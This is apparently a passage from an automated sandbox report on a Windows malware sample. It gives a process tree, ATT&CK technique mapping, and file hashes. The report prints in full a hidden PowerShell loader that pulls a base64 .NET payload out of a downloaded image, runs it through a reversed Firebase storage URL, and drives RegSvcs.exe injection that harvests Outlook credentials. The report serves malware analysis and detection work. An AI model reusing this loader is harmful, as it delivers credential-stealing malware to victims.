$codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('32d326165cbb-04f9-b224-6604-d08832ef=nekot&aidem=tla?txt.105051socmerrosseforp/o/moc.topsppa.fc7ab-4202hcram/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , '1' , 'C:\ProgramData\' , 'radiantemente','RegSvcs',''))} }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\radiantemente.vbs"
      4⤵
      PID:2220
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3684
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
        
        C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe /stext "C:\Users\Admin\AppData\Local\Temp\bphrdvepbbxivlnirhy"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2836
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
        
        C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe /stext "C:\Users\Admin\AppData\Local\Temp\esnjwnpjojpnyrjmaslnue"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4740
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
        
        C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe /stext "C:\Users\Admin\AppData\Local\Temp\omscwgzkkrhaifxqrdxpfjlgl"
        5⤵
        
        PID:1280
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
        
        C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe /stext "C:\Users\Admin\AppData\Local\Temp\omscwgzkkrhaifxqrdxpfjlgl"
        5⤵
        
        PID:672
    - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe
        
        C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegSvcs.exe /stext "C:\Users\Admin\AppData\Local\Temp\omscwgzkkrhaifxqrdxpfjlgl"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1spmwz2.byi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bphrdvepbbxivlnirhy

Filesize
4KB

MD5
135c60fadfa99b241d9109417db8b53c

SHA1
b73785818a32e8d84bb55c02ccdc3d546a615526

SHA256
01fc52f877352f6252d3d9351993fc35d7b6b0051ac6d3146184e12f9bc6e704

SHA512
76812b91e51f1a206e3829b44cf13ee4cc4e5e90d88c0b0b3755b1e092eee26e6a4b18ef038a311a9443dab138761ff45fdd18145931207764c2355047611f51

Download Submit
memory/1820-61-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1820-62-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1820-60-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1836-44-0x00007FF9172A0000-0x00007FF917D61000-memory.dmp

Filesize
10.8MB

Download
memory/1836-19-0x00000214FDB00000-0x00000214FDB22000-memory.dmp

Filesize
136KB

Download
memory/1836-20-0x00007FF9172A0000-0x00007FF917D61000-memory.dmp

Filesize
10.8MB

Download
memory/1836-21-0x00007FF9172A0000-0x00007FF917D61000-memory.dmp

Filesize
10.8MB

Download
memory/1836-9-0x00007FF9172A3000-0x00007FF9172A5000-memory.dmp

Filesize
8KB

Download
memory/2836-56-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2836-54-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2836-58-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3684-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-68-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3684-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-79-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-71-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3684-72-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3684-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3684-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4740-57-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4740-59-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4740-55-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4860-31-0x00000230B5590000-0x00000230B5850000-memory.dmp

Filesize
2.8MB

Download